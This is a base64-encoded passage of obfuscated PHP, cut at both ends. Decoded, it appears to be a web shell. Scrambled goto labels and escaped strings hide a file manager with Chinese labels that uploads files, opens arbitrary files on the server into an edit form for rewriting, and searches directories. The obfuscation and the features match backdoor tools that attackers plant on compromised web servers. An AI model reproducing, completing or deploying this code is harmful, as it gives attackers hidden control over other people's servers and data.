GdvdG8gbWY5cm47IElnV1Q1OiBwa2JpMDogZ290byBlbnVlQTsgSG9LdVI6IEZVNXVlOiBnb3RvIGFZekxuOyBhWXpMbjogcjVTRVY6IGdvdG8gRGpIS1k7IE1CMUlFOiAkUVNPOGYgLj0gXCJcXHgzY1xcMTQ2XFx4NmZcXDE2MlxcMTU1XFw0MFxceDZlXFwxNDFcXHg2ZFxcMTQ1XFw3NVxcNDJcXDE2NVxceDcwXFwxNjNcXDE0NlxceDcyXFx4NmRcXHgyMlxceDIwXFwxNTFcXHg2NFxcNzVcXDQyXFx4NzVcXHg3MFxceDczXFx4NjZcXDE2MlxceDZkXFx4MjJcXDQwXFx4NmRcXDE0NVxceDc0XFx4NjhcXHg2ZlxcMTQ0XFx4M2RcXHgyMlxceDUwXFwxMTdcXHg1M1xceDU0XFw0MlxcNDBcXHg2NVxcMTU2XFwxNDNcXHg3NFxceDc5XFx4NzBcXDE0NVxceDNkXFx4MjJcXDE1NVxcMTY1XFx4NmNcXDE2NFxceDY5XFx4NzBcXDE0MVxcMTYyXFwxNjRcXHgyZlxceDY2XFwxNTdcXDE2MlxcMTU1XFx4MmRcXDE0NFxcMTQxXFwxNjRcXDE0MVxcNDJcXHgzZVwiOyBnb3RvIGQ2Y19XOyBhSlVhRDogRk5Icm06IGdvdG8gUlR3SFM7IHdyNnBmOiAkSkdOM2pbJHVMdFRkXSA9IGZpdnJHKCR6aTBZMCwgJEozSG92KSA/IFwiXFx4M2NcXDE0MlxceDcyXFw3NlxceDNjXFwxNTBcXDYyXFx4M2VcXDM0NFxcMjcwXFx4OGFcXHhlNFxceGJjXFx4YTBcXHhlNlxceDg4XFwyMjBcXDM0NVxceDhhXFwyMzdcXHgyMFwiIC4gJFFZNWFvIC4gXCJcXDc0XFx4MmZcXHg2OFxcNjJcXHgzZVwiIDogXCJcXDc0XFwxNDJcXHg3MlxceDNlXFw3NFxceDY4XFw2MVxcNzZcXHhlNFxceGI4XFx4OGFcXHhlNFxcMjc0XFwyNDBcXDM0NVxcMjQ0XFwyNjFcXDM1MFxcMjY0XFwyNDVcXHgyMFwiIC4gJFFZNWFvIC4gXCJcXHgzY1xcNTdcXHg2OFxceDMxXFx4M2VcIjsgZ290byBIb0t1UjsgRGpIS1k6ICR1THRUZCsrOyBnb3RvIG55VUJzOyBwSklyejogJFVnTHpfID0gXCJcXDM0M1xceDgwXFwyMjBcXDM0NlxceDljXFx4ODBcXHhlNVxcMjQ0XFwyNDdcXHhlNFxceGI4XFwyMTJcXDM0NFxceGJjXFwyNDBcXDM0NlxceDk2XFx4ODdcXHhlNFxcMjczXFx4YjZcXDQwXCIgLiBnZXRfY2ZnX3ZhcihcIlxcMTY1XFx4NzBcXHg2Y1xcMTU3XFwxNDFcXDE0NFxceDVmXFwxNTVcXHg2MVxcMTcwXFx4NWZcXHg2NlxceDY5XFwxNTRcXDE0NVxcMTYzXFx4NjlcXHg3YVxcMTQ1XCIpIC4gXCJcXHhlM1xcMjAwXFx4OTFcXHgyMFxcMzQzXFwyMDBcXDIyMFxceDUwXFx4NGZcXHg1M1xcMTI0XFx4ZTZcXHg5Y1xceDgwXFwzNDVcXDI0NFxcMjQ3XFwzNDZcXHg4ZlxcMjIwXFwzNDRcXDI3MlxcMjQ0XFx4ZTZcXHg5NVxcMjYwXFx4ZTZcXHg4ZFxceGFlXFx4MjBcIiAuIGdldF9jZmdfdmFyKFwiXFwxNjBcXDE1N1xcMTYzXFx4NzRcXDEzN1xcMTU1XFwxNDFcXHg3OFxcMTM3XFwxNjNcXDE1MVxceDdhXFwxNDVcIikgLiBcIlxcMzQzXFwyMDBcXHg5MVwiOyBnb3RvIGdJcGE4OyB4cmJIaTogblRLZV86IGdvdG8gZHFSczk7IE41elFhOiAkemkwWTAgPSAkVFFsTGFbXCJcXHg3NFxceDZkXFwxNjBcXHg1ZlxcMTU2XFwxNDFcXHg2ZFxcMTQ1XCJdWyR1THRUZF07IGdvdG8gUkVDSE87IGxZNFlSOiAkVFFsTGEgPSAkX0ZJTEVTW1wiXFx4NzVcXDE2MFxcMTU0XFwxNTdcXHg2MVxcMTQ0XFwxNjNcIl07IGdvdG8gamNuWE07IFJUd0hTOiAkUVNPOGYgLj0gXCJcXHgzY1xcNTdcXDE0NFxceDY5XFx4NzZcXHgzZVxcNzRcXHgyZlxcMTQ2XFwxNTdcXDE2MlxcMTU1XFx4M2VcXHgzY1xceDY0XFwxNTFcXDE2NlxcNDBcXHg2M1xcMTU0XFwxNDFcXHg3M1xceDczXFx4M2RcXDQyXFx4NjFcXDE0M1xceDc0XFwxNDFcXDE1NFxcMTU0XFx4MjJcXHgyMFxceDczXFwxNjRcXDE3MVxcMTU0XFx4NjVcXDc1XFx4MjJcXDE2MFxceDYxXFx4NjRcXDE0NFxceDY5XFx4NmVcXDE0N1xceDNhXFw3MFxceDcwXFwxNzBcXHgzYlxceDcwXFx4NjFcXHg2NFxceDY0XFx4NjlcXHg2ZVxcMTQ3XFw1NVxceDcyXFx4NjlcXDE0N1xcMTUwXFx4NzRcXHgzYVxcNjZcXDcwXFx4NzBcXDE3MFxcNzNcXDQyXFx4M2VcXHgzY1xcMTUxXFwxNTZcXHg3MFxcMTY1XFwxNjRcXHgyMFxceDc0XFwxNzFcXDE2MFxceDY1XFw3NVxceDIyXFx4NjJcXDE2NVxceDc0XFwxNjRcXHg2ZlxceDZlXFx4MjJcXDQwXFx4NmZcXDE1NlxcMTQzXFwxNTRcXDE1MVxcMTQzXFx4NmJcXHgzZFxcNDJcXHgyNFxcNTBcXDQ3XFwxNjVcXHg3MFxceDczXFwxNDZcXHg3MlxcMTU1XFw0N1xcNTFcXHgyZVxceDczXFx4NzVcXHg2MlxceDZkXFwxNTFcXHg3NFxceDI4XFw1MVxceDNiXFw0MlxceDIwXFx4NzZcXDE0MVxcMTU0XFwxNjVcXDE0NVxcNzVcXDQyXFx4ZTRcXDI3MFxceDhhXFx4ZTRcXDI3NFxcMjQwXFw0MlxceDIwXFx4NzNcXDE2NFxceDc5XFx4NmNcXDE0NVxcNzVcXHgyMlxcMTY3XFwxNTFcXHg2NFxceDc0XFwxNTBcXDcyXFw3MFxceDMwXFx4NzBcXDE3MFxcNzNcXDQyXFw3NlxcNDBcIjsgZ290byBIeVh5TjsgbXoxdm46ICRRU084ZiAuPSBcIlxcNzRcXDE1MVxceDZlXFx4NzBcXHg3NVxcMTY0XFx4MjBcXHg3NFxceDc5XFwxNjBcXHg2NVxceDNkXFw0MlxcMTUwXFwxNTFcXHg2NFxceDY0XFwxNDVcXDE1NlxceDIyXFx4MjBcXHg2ZVxceDYxXFwxNTVcXDE0NVxceDNkXFw0MlxcMTQ3XFx4NmZcXDQyXFw0MFxceDc2XFwxNDFcXDE1NFxcMTY1XFwxNDVcXHgzZFxceDIyXFx4NzVcXHg3MFxceDY2XFx4NjlcXDE1NFxceDY1XFwxNjNcXDQyXFw3NlxcNzRcXDE1MVxcMTU2XFwxNjBcXHg3NVxcMTY0XFw0MFxcMTY0XFx4NzlcXDE2MFxcMTQ1XFx4M2RcXHgyMlxceDY4XFx4NjlcXHg2NFxceDY0XFwxNDVcXDE1NlxceDIyXFw0MFxceDZlXFx4NjFcXDE1NVxceDY1XFx4M2RcXDQyXFx4NjFcXDE0M1xceDc0XFw0MlxcNDBcXHg2OVxcMTQ0XFw3NVxceDIyXFwxNDFcXDE0M1xcMTY0XFw0MlxceDIwXFx4NzZcXHg2MVxcMTU0XFwxNjVcXHg2NVxcNzVcXDQyXFwxNjVcXDE2MFxcMTU0XFwxNTdcXHg2MVxceDY0XFw0MlxcNzZcIjsgZ290byBCM0NBZDsgV3I1YkE6IH0gcHVibGljIGZ1bmN0aW9uIGk3dTAzKCkgeyBnb3RvIGZIVFdqOyBKVmJmYjogSjFleWM6IGdvdG8gcVNSbTM7IFF4akxfOiAkUVNPOGYgLj0gXCJcXHhlN1xcMjc0XFx4OTZcXHhlN1xcMjQwXFx4ODFcXHgyMFxcNzRcXDE2M1xcMTQ1XFwxNTRcXHg2NVxceDYzXFx4NzRcXDQwXFx4NmVcXDE0MVxcMTU1XFwxNDVcXHgzZFxceDIyXFx4NzRcXDE1N1xcMTYzXFx4NzRcXHg3MlxceDIyXFw3NlwiOyBnb3RvIEJZbXJ1OyBSUWUzMjogcmV0dXJuICRRU084ZjsgZ290byBFcEswcjsgSzh0NGo6ICRRU084ZiAuPSBheHRUUSgpOyBnb3RvIGQzYmQ0OyBxU1JtMzogJFFTTzhmID0gJyc7IGdvdG8gc01fMTg7IG9oWVlyOiAkUVNPOGYgLj0gXCJcXDc0XFx4MmZcXDE0NFxcMTUxXFwxNjZcXHgzZVxcNzRcXHg2NFxceDY5XFx4NzZcXHgyMFxceDYzXFwxNTRcXHg2MVxcMTYzXFwxNjNcXDc1XFx4MjJcXDE0MVxceDYzXFx4NzRcXHg2MVxcMTU0XFwxNTRcXHgyMlxcNzZcXHgzY1xcMTY0XFwxNDVcXDE3MFxceDc0XFx4NjFcXHg3MlxcMTQ1XFx4NjFcXHgyMFxceDZlXFx4NjFcXDE1NVxcMTQ1XFw3NVxceDIyXFx4NjZcXHg2OVxceDZjXFwxNDVcXHg2M1xceDZmXFx4NjRcXDE0NVxcNDJcXDQwXFx4NjlcXHg2NFxcNzVcXDQyXFwxNDZcXDE1MVxceDZjXFx4NjVcXDE0M1xcMTU3XFwxNDRcXHg2NVxceDIyXFw0MFxcMTYzXFx4NzRcXDE3MVxceDZjXFx4NjVcXHgzZFxceDIyXFwxNjdcXDE1MVxceDY0XFwxNjRcXHg2OFxcNzJcXHgzNlxcNzFcXDcwXFwxNjBcXDE3MFxcNzNcXHg2OFxcMTQ1XFwxNTFcXHg2N1xceDY4XFwxNjRcXDcyXFx4MzNcXDY1XFw3MFxcMTYwXFwxNzBcXHgzYlxcNDJcXDc2XCIgLiAkdVMybkwgLiBcIlxceDNjXFx4MmZcXHg3NFxceDY1XFx4NzhcXDE2NFxcMTQxXFwxNjJcXHg2NVxcMTQxXFx4M2VcXDc0XFw1N1xceDY0XFwxNTFcXHg3NlxceDNlXFw3NFxceDJmXFx4NjZcXHg2ZlxcMTYyXFx4NmRcXDc2XCI7IGdvdG8gbU03YnU7IHNNXzE4OiAkUVNPOGYgLj0gYmFzZTY0X2RlY29kZShcIlxceDUwXFx4NDhcXHg0ZVxcMTUyXFx4NjNcXDE1NVxceDZjXFx4NzdcXDE0NFxcMTAzXFwxMDJcXDE2M1xcMTMxXFx4NTdcXDY1XFwxNTZcXDE0NFxcMTI3XFx4NDZcXDE1NlxcMTMyXFwxMjRcXDYwXFwxNTFcXDE0MVxcMTU1XFx4NDZcXHgzMlxcMTMxXFwxMzBcXHg0ZVxcMTUyXFwxNDNcXDE1NVxceDZjXFx4NzdcXHg2NFxcMTAzXFx4NDlcXDUzXFwxMDRcXDEyMVxceDcwXFw2MlxcMTMxXFwxMzBcXHg0OVxcMTQ3XFwxNDJcXDE1MVxceDQxXFw3MVxceDQ5XFx4NDRcXDEwMVxcNjdcXDEwNFxceDUxXFwxNjBcXDE1NVxcMTQ0XFwxMjdcXHgzNVxceDZhXFwxNDRcXHg0N1xcMTU0XFwxNjZcXHg2MlxceDY5XFwxMDJcXDE3MlxceDVhXFx4NTdcXHg0NlxcMTcxXFx4NTlcXHgzMlxceDY3XFwxNTdcXHg2M1xceDMzXFx4NTJcXHg3OVxceDRiXFx4NTNcXHg0MlxcNjdcXHg0NFxceDUxXFx4NmZcXHg0YVxcMTQ0XFwxNTVcXHg0NlxceDc5XFx4NDlcXDExMFxceDUyXFx4MzRcXHg2NFxcMTAzXFwxNjdcXDE0N1xcMTQxXFx4NTNcXDE2N1xcMTQ3XFx4NWFcXDE1NVxcNzFcXHgzMVxceDYyXFwxNTVcXHg1MVxcNjdcXHg0NFxcMTIxXFx4NmZcXHg0YVxceDYxXFx4NTdcXDEzMVxcMTU3XFx4NjNcXDYzXFx4NTJcXDE3MVxcMTExXFwxMDRcXHgzMFxceDM5XFx4NDlcXHg0M1xcMTExXFx4NjlcXDExM1xceDUzXFwxMDJcXDE3MVxceDVhXFx4NThcXDEyMlxceDMxXFwxNDNcXHg2ZFxcNjRcXDE0N1xceDVhXFwxNTVcXHg0NlxcMTYzXFx4NjNcXDYyXFwxMjVcXHgzN1xcMTA0XFwxMjFcXHg2ZlxcMTEyXFwxNDRcXDExMFxcMTUwXFx4MzBcXDExMVxcMTA0XFw2MFxceDY3XFwxMTJcXDEwM1xceDY3XFwxNTZcXDEzMlxcMTU1XFwxNTRcXHg3M1xcMTMyXFwxMjdcXHg0ZVxcMTY2XFx4NWFcXDEwN1xceDU1XFx4NmVcXDExM1xceDUzXFx4MzVcXHg2YVxceDYzXFx4NmRcXDEyNlxceDY4XFx4NjRcXDEwN1xceDU2XFx4NTVcXDEzMlxceDU4XFwxNTBcXDYwXFx4NTVcXDE1NVxcMTA2XFwxNjVcXDEzMlxceDMyXFx4NTVcXHg2ZlxcMTEzXFx4NTRcXHg3M1xcMTE2XFwxMDNcXHg2N1xcMTU0XFx4NmRcXHg2MlxceDMzXFwxMTFcXDE1N1xceDYxXFx4NTNcXHg0MVxceDM5XFwxMTFcXHg0NFxceDQxXFw2N1xcMTExXFwxMDdcXDE1M1xceDY3XFx4NTBcXDEwNFxceDMwXFwxNDdcXHg2MlxceDY5XFwxMDFcXDE1NVxceDRhXFx4NjlcXDEwMVxcMTU3XFx4NWFcXHg2ZFxceDM5XFw2MVxcMTQyXFwxNTVcXDEyMVxceDY3XFx4NTBcXHg1M1xcMTAyXFw2MFxcMTQ1XFx4NDhcXHg1MVxcMTY1XFwxMzJcXHg2ZFxcMTU0XFx4NzVcXDEzMlxcMTA2XFx4NTJcXDE1NFxcMTQ1XFwxMTBcXHg1MVxcMTU3XFwxNDNcXDYzXFx4NTJcXDE3MVxcMTEzXFx4NTNcXHg2YlxcMTQ3XFx4NDlcXDEyNFxceDMwXFwxNDdcXHg1YVxcMTU1XFwxMDZcXDE2M1xcMTQzXFw2MlxcMTI1XFw2N1xceDQ5XFwxMDdcXHg2YlxceDcyXFx4NGJcXHg3OVxcMTU0XFw2N1xceDQ0XFx4NTFcXDE1N1xceDRhXFx4NDNcXHg1OFxceDUyXFw2NFxceDY0XFx4NDNcXHgzNVxceDc0XFwxNDJcXHgzM1xcMTMyXFx4NmNcXDEyNVxceDMzXFx4NTJcXDE1MFxceDYzXFwxNTZcXDEyMVxceDZmXFx4NDlcXDE1NVxceDRlXFwxNTdcXHg1OVxceDU4XFx4NGFcXDE1MFxceDU5XFw2M1xcMTIyXFx4NmNcXDE0M1xceDY5XFx4NDlcXDE2M1xceDQ5XFx4NDRcXHg0NVxceDcwXFx4NGZcXDE2N1xcNjBcXHg0YlxceDQzXFwxMjFcXHg2Y1xceDMwXFwxNDVcXHg0OFxcMTIxXFx4NzVcXDE0MlxcMTI3XFx4MzlcXDYyXFx4NWFcXDEyNVxceDU2XFwxNjVcXDEzMlxcMTAzXFwxNDdcXHg2OVxceDY0XFwxMDdcXHg1NlxcNjRcXHg2NFxcMTA3XFwxMjZcXDE1M1xceDYxXFx4NThcXHg1MVxcMTUxXFwxMTNcXHg1NFxceDczXFwxMTZcXDEwM1xceDY3XFx4NmNcXHgzOVxceDQ0XFx4NTFcXHg2ZlxcMTEyXFx4NjFcXHg1N1xcMTMxXFwxNTdcXHg1YVxceDZkXFw3MVxcNjFcXHg2MlxcMTU1XFx4NTFcXDE2MFxceDY1XFwxNzFcXHg0MlxceDMwXFwxNDVcXHg0OFxcMTIxXFwxNjVcXHg2MlxceDU3XFw3MVxceDMyXFx4NWFcXHg1NlxcMTE2XFw2MFxcMTMxXFwxMzBcXHg0YVxceDMwXFx4NGJcXDEwM1xceDRhXFwxNTJcXHg2MVxceDQ3XFx4NDZcXHg3OVxceDU5XFwxMjdcXHg0ZVxcNjBcXHg1YVxceDU4XFwxMTFcXDE1MVxceDRjXFx4NDNcXHg0MVxcMTY0XFwxMTVcXHg1M1xceDZiXFw2N1xceDQ5XFx4NDhcXHg1MlxcNjRcXDE0NFxceDQzXFw2NVxceDZkXFwxNDFcXDEyN1xcNjVcXDE1M1xcMTI2XFwxMDdcXHg1NlxceDM0XFwxNDRcXDEwM1xcMTUwXFx4N2FcXDE0NFxcMTEwXFx4NDlcXHg3MFxceDRmXFx4NzlcXHg0MlxcNjBcXHg2NVxceDQ4XFx4NTFcXDE2NVxcMTQzXFw2MlxcMTI2XFx4NzNcXDEzMlxcMTI3XFx4NGVcXHgzMFxceDRiXFwxMDNcXDE1M1xcNjdcXHg0OVxceDQ4XFx4NTJcXDY0XFx4NjRcXDEwM1xcNjVcXDE3MlxcMTMxXFx4MzNcXHg0YVxcMTY2XFx4NjJcXHg0N1xcMTcwXFwxMTJcXDE0MlxcMTU2XFwxMjJcXHg3NlxcMTI2XFwxNTVcXHg2Y1xceDZjXFwxNDRcXHg3OVxceDY3XFwxNjBcXHg0ZlxceDc5XFwxMDJcXHg3NVxcMTEzXFx4NzlcXDE2M1xceDM3XFwxMTFcXHg0OFxcNjBcXHg0ZVxceDQzXFwxNDdcXDE1NFxcMTU0XFx4NjJcXHg0OFxcMTE2XFx4NmNcXHg0OVxcMTEwXFx4NzNcXDE0N1xcMTQxXFwxMjdcXDEzMVxceDY3XFwxMTNcXHg0N1xceDM0XFx4NjdcXHg1MFxceDY5XFwxMDFcXHg3N1xcMTEzXFx4NTNcXDEwMlxceDM3XFwxMTFcXDEwN1xcNjRcXHg2N1xcMTIwXFwxMjNcXDEwMVxceDc3XFx4NGZcXDE3MVxcMTAyXFwxNzJcXDEzMlxceDU3XFwxMDZcXDE3MVxcMTMxXFx4MzJcXHg2N1xcMTU3XFwxNDNcXDYzXFwxMjJcXHg3OVxcMTEzXFx4NTRcXDE2M1xceDY3XFx4NjZcXHg1M1xceDQyXFwxNTRcXHg2MlxcMTEwXFwxMTZcXHg2Y1xcMTExXFwxMDdcXDEwNlxceDczXFwxMzJcXHg1OFxceDRhXFx4MzBcXHg0YlxceDQ4XFwxMTZcXDYwXFx4NjNcXHg2OVxcMTAxXFx4NzJcXHg0OVxceDQzXFx4NDlcXDE2NVxceDRjXFwxNTFcXHgzNFxcMTQ3XFx4NTRcXHg2ZFxceDM5XFw2MFxceDRjXFx4NTVcXDEzMlxcMTYwXFwxNDJcXHg2ZFxcMTIxXFwxNTFcXDExM1xcMTI0XFwxNjNcXHg2N1xceDY2XFx4NTFcXHgzMFxcMTEzXFwxMDNcXDEzMFxcMTEyXFx4NmNcXHg2NFxceDQ4XFwxMjZcXHg3OVxcMTQyXFwxNTFcXDEwMlxcMTU1XFx4NTlcXDEyN1xceDc4XFx4N2FcXDEzMlxcMTI0XFx4NzNcXHg0ZVxceDQzXFx4NmVcXDYwXFwxMTZcXHg0M1xceDZhXFwxNjdcXHg3NlxceDYzXFw2MlxceDRlXFwxNzFcXDE0MVxcMTMwXFx4NDJcXDYwXFwxMjBcXHg2N1xcNzVcXDc1XCIpOyBnb3RvIFMzRkQzOyBqdTBNOTogJHRBZTBDID0gXCJcXHhlOVxceGJiXFx4OThcXHhlOFxcMjU2XFwyNDRcIjsgZ290byBSWnZlNzsgRVp5a0I6ICRVZ0x6XyA9IFwiXFx4ZTNcXDIwMFxceDkwXFx4ZTZcXDIyNlxcMjYwXFx4ZTVcXDI3M1xceGJhXFwzNDZcXHg5NlxcMjA3XFx4ZTRcXHhiYlxceGI2XFx4ZTNcXHg4MFxceDkxXCI7IGdvdG8gSlZiZmI7IHlDREhtOiAkUVNPOGYgLj0gXCJcXDc0XFx4NjZcXDE1N1xcMTYyXFx4NmRcXDQwXFx4NmVcXDE0MVxceDZkXFx4NjVcXHgzZFxcNDJcXHg2MlxcMTQxXFx4NjNcXHg2YlxceDY2XFwxNjJcXHg2ZFxceDIyXFx4MjBcXHg2OVxcMTQ0XFx4M2RcXHgyMlxcMTQyXFx4NjFcXDE0M1xceDZiXFx4NjZcXDE2MlxcMTU1XFx4MjJcXHgyMFxceDZkXFwxNDVcXHg3NFxcMTUwXFwxNTdcXDE0NFxcNzVcXHgyMlxceDUwXFx4NGZcXHg1M1xcMTI0XFx4MjJcXDc2XFx4M2NcXDE1MVxceDZlXFx4NzBcXHg3NVxcMTY0XFw0MFxceDc0XFwxNzFcXDE2MFxcMTQ1XFx4M2RcXHgyMlxceDY4XFx4NjlcXDE0NFxcMTQ0XFwxNDVcXHg2ZVxcNDJcXDQwXFwxNTZcXHg2MVxceDZkXFwxNDVcXDc1XFw0MlxcMTQ3XFx4NmZcXDQyXFx4MjBcXHg3NlxcMTQxXFx4NmNcXHg3NVxcMTQ1XFw3NVxceDIyXFw0MlxcNzZcXHgzY1xceDY5XFx4NmVcXHg3MFxcMTY1XFwxNjRcXDQwXFx4NzRcXDE3MVxceDcwXFx4NjVcXDc1XFw0MlxceDY4XFx4NjlcXHg2NFxcMTQ0XFwxNDVcXDE1NlxcNDJcXDQwXFwxNTZcXHg2MVxceDZkXFx4NjVcXHgzZFxceDIyXFwxNDRcXDE1MVxcMTYyXFx4MjJcXDQwXFx4NjlcXDE0NFxceDNkXFx4MjJcXDE0NFxcMTUxXFx4NzJcXDQyXFx4MjBcXDE2NlxceDYxXFwxNTRcXHg3NVxceDY1XFx4M2RcXHgyMlwiIC4gZGlybmFtZSgkU0ZKOXopIC4gXCJcXHgyMlxceDNlXCI7IGdvdG8gQlhOQk87IHRSdDEwOiAkUVNPOGYgLj0gXCJcXDc0XFwxNDRcXDE1MVxcMTY2XFx4MjBcXHg2M1xceDZjXFx4NjFcXHg3M1xceDczXFx4M2RcXDQyXFx4NjFcXDE0M1xcMTY0XFx4NjFcXDE1NFxcMTU0XFw0MlxceDNlXFwzNDZcXDIyNlxcMjA3XFwzNDRcXDI3M1xceGI2XFx4MjBcXDc0XFwxNTFcXDE1NlxcMTYwXFx4NzVcXDE2NFxcNDBcXHg3NFxcMTcxXFwxNjBcXDE0NVxcNzVcXDQyXFx4NzRcXDE0NVxcMTcwXFwxNjRcXDQyXFx4MjBcXDE1NlxcMTQxXFwxNTVcXHg2NVxcNzVcXDQyXFwxNDZcXDE1MVxceDZjXFx4NjVcXHg2ZVxcMTQxXFx4NmRcXHg2NVxceDIyXFx4MjBcXHg3NlxceDYxXFx4NmNcXHg3NVxcMTQ1XFx4M2RcXHgyMlwiIC4gJFNGSjl6IC4gXCJcXDQyXFw0MFxceDczXFx4NzRcXDE3MVxcMTU0XFx4NjVcXHgzZFxcNDJcXDE2N1xcMTUxXFwxNDRcXDE2NFxcMTUwXFw3MlxcNjVcXHgzMlxceDM4XFx4NzBcXHg3OFxceDNiXFw0MlxceDNlXFx4MjBcIjsgZ290byBMNEMzVjsgZWZsalY6ICRRU084ZiAuPSBcIlxceDNjXFx4NjZcXHg2ZlxcMTYyXFwxNTVcXDQwXFx4NmVcXHg2MVxcMTU1XFx4NjVcXDc1XFw0MlxcMTQ1XFx4NjRcXDE1MVxcMTY0XFwxNDZcXHg3MlxcMTU1XFw0MlxcNDBcXHg2OVxcMTQ0XFw3NVxcNDJcXHg2NVxceDY0XFx4NjlcXHg3NFxceDY2XFx4NzJcXDE1NVxceDIyXFw0MFxcMTU1XFwxNDVcXDE2NFxcMTUwXFwxNTdcXDE0NFxceDNkXFw0MlxcMTIwXFx4NGZcXHg1M1xcMTI0XFw0MlxceDNlXCI7IGdvdG8gSzh0NGo7IFU5VDFzOiAkdEFlMEMgPSAnJzsgZ290byBqNTZGVTsgZEtDVFg6ICRZTV82aiA9IGZ1bmN0aW9uX2V4aXN0cyhcIlxcMTUxXFwxNDNcXHg2ZlxceDZlXFx4NzZcIik7IGdvdG8gVTlUMXM7IGFXRzRvOiBDMUJEaTogZ290byBUZFdVMDsgeU90bDk6ICR1UzJuTCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRTRko5eik7IGdvdG8ganUwTTk7IHZuVDJXOiBOS05MSjogZ290byBFWnlrQjsgVGRXVTA6ICRRU084ZiAuPSBcIlxceDNjXFw1N1xceDczXFwxNDVcXDE1NFxceDY1XFwxNDNcXHg3NFxceDNlXCI7IGdvdG8gYTZia1k7IHd2V1luOiAkUVNPOGYgLj0gXCJcXHgzY1xceDY5XFx4NmVcXDE2MFxceDc1XFx4NzRcXHgyMFxcMTY0XFwxNzFcXHg3MFxcMTQ1XFx4M2RcXDQyXFx4NjJcXDE2NVxceDc0XFwxNjRcXDE1N1xceDZlXFw0MlxcNDBcXDE1N1xcMTU2XFwxNDNcXHg2Y1xcMTUxXFx4NjNcXDE1M1xcNzVcXDQyXFw0NFxceDI4XFw0N1xceDYyXFx4NjFcXDE0M1xceDZiXFwxNDZcXDE2MlxceDZkXFx4MjdcXDUxXFw1NlxcMTYzXFwxNjVcXHg2MlxcMTU1XFx4NjlcXDE2NFxcNTBcXHgyOVxceDNiXFx4MjJcXHgyMFxcMTY2XFx4NjFcXDE1NFxceDc1XFx4NjVcXDc1XFw0MlxcMzUwXFx4YmZcXHg5NFxcMzQ1XFx4OWJcXDIzNlxceDIyXFx4MjBcXHg3M1xceDc0XFx4NzlcXDE1NFxceDY1XFx4M2RcXDQyXFwxNjdcXHg2OVxcMTQ0XFwxNjRcXHg2OFxceDNhXFw3MFxcNjBcXHg3MFxcMTcwXFw3M1xcNDJcXHgzZVxceDNjXFw1N1xceDY2XFx4NmZcXDE2MlxcMTU1XFw3NlxcNzRcXHgyZlxcMTQ0XFx4NjlcXHg3NlxcNzZcIjsgZ290byBSUWUzMjsgTDRDM1Y6IGlmICghJFlNXzZqKSB7IGdvdG8gSXM2dHQ7IH0gZ290byBReGpMXzsgQlltcnU6ICRJODMxNCA9IGFycmF5KFwiXFx4NmVcXHg2ZlxcMTYyXFx4NmRcXHg2MVxcMTU0XCIgPT4gXCJcXDM1MVxcMjczXFx4OThcXDM1MFxcMjU2XFx4YTRcIiwgXCJcXHg3NVxcMTY0XFwxNDZcIiA9PiBcIlxceDc1XFwxNjRcXDE0NlxcNTVcXHgzOFwiKTsgZ290byBwaXluTTsgUzNGRDM6ICRRU084ZiAuPSBcIlxcNzRcXHg2NFxceDY5XFx4NzZcXDQwXFx4NjNcXHg2Y1xceDYxXFx4NzNcXHg3M1xceDNkXFw0MlxceDZkXFx4NzNcXHg2N1xceDYyXFx4NmZcXHg3OFxceDIyXFw3NlxcNzRcXDE1MVxceDZlXFx4NzBcXHg3NVxcMTY0XFw0MFxceDZlXFwxNDFcXHg2ZFxceDY1XFw3NVxceDIyXFwxNTNcXDE0NVxcMTcxXFx4NzdcXHg2ZlxcMTYyXFwxNDRcXDQyXFw0MFxceDY5XFx4NjRcXDc1XFx4MjJcXDE1M1xceDY1XFx4NzlcXHg3N1xcMTU3XFx4NzJcXDE0NFxcNDJcXDQwXFwxNjRcXDE3MVxceDcwXFwxNDVcXDc1XFw0MlxcMTY0XFx4NjVcXDE3MFxcMTY0XFx4MjJcXHgyMFxcMTYzXFwxNjRcXDE3MVxceDZjXFx4NjVcXHgzZFxcNDJcXDE2N1xceDY5XFwxNDRcXDE2NFxcMTUwXFx4M2FcXHgzMVxcNjNcXDcwXFwxNjBcXHg3OFxceDNiXFx4NjhcXDE0NVxcMTUxXFwxNDdcXHg2OFxcMTY0XFw3MlxcNjFcXHgzNVxceDcwXFx4NzhcXDczXFw0MlxceDNlXFw3NFxceDY5XFwxNTZcXHg3MFxcMTY1XFwxNjRcXDQwXFwxNjRcXDE3MVxceDcwXFx4NjVcXDc1XFw0MlxcMTQyXFwxNjVcXDE2NFxceDc0XFwxNTdcXDE1NlxcNDJcXDQwXFwxNjZcXDE0MVxcMTU0XFwxNjVcXDE0NVxceDNkXFx4MjJcXDExMVxceDQ1XFx4ZTZcXHg5ZlxceGE1XFx4ZTZcXHg4OVxceGJlXFx4ZTVcXDIwNlxceDg1XFwzNDVcXHhhZVxcMjcxXFw0MlxceDIwXFwxNTdcXDE1NlxceDYzXFx4NmNcXHg2OVxceDYzXFx4NmJcXHgzZFxcNDJcXDE2M1xceDY1XFx4NjFcXHg3MlxceDYzXFwxNTBcXHgyOFxcNDRcXHgyOFxceDI3XFx4NmJcXHg2NVxcMTcxXFwxNjdcXHg2ZlxceDcyXFwxNDRcXDQ3XFx4MjlcXDU2XFx4NzZcXDE0MVxcMTU0XFwxNjVcXDE0NVxceDI5XFw3M1xcNDJcXDc2XFx4MjBcXHgyZFxcNDBcIiAuICRVZ0x6XyAuIFwiXFw3NFxcNTdcXHg2NFxcMTUxXFwxNjZcXDc2XCI7IGdvdG8gZWZsalY7IGE2YmtZOiBJczZ0dDogZ290byBvaFlZcjsgcHNrMlY6ICRRU084ZiAuPSBcIlxcNzRcXDE1MVxcMTU2XFx4NzBcXDE2NVxceDc0XFx4MjBcXHg3NFxceDc5XFwxNjBcXDE0NVxceDNkXFx4MjJcXDE1MFxcMTUxXFx4NjRcXDE0NFxceDY1XFx4NmVcXHgyMlxceDIwXFwxNTZcXDE0MVxceDZkXFwxNDVcXDc1XFw0MlxceDY0XFwxNTFcXDE2MlxcNDJcXHgyMFxceDY5XFx4NjRcXDc1XFx4MjJcXHg2NFxcMTUxXFwxNjJcXHgyMlxceDIwXFwxNjZcXHg2MVxcMTU0XFwxNjVcXHg2NVxceDNkXFw0MlwiIC4gZGlybmFtZSgkU0ZKOXopIC4gXCJcXDQyXFx4M2VcIjsgZ290byB0UnQxMDsgZEhHSzg6IGlmICghZmlsZV9leGlzdHMoJFNGSjl6KSkgeyBnb3RvIE5LTkxKOyB9IGdvdG8geU90bDk7IGo1NkZVOiAkdVMybkwgPSAnJzsgZ290byBkSEdLODsgUlp2ZTc6ICRUM1dJQiA9IElEeUZSKGZpbGVzaXplKCRTRko5eikpOyBnb3RvIHR0Q0lpOy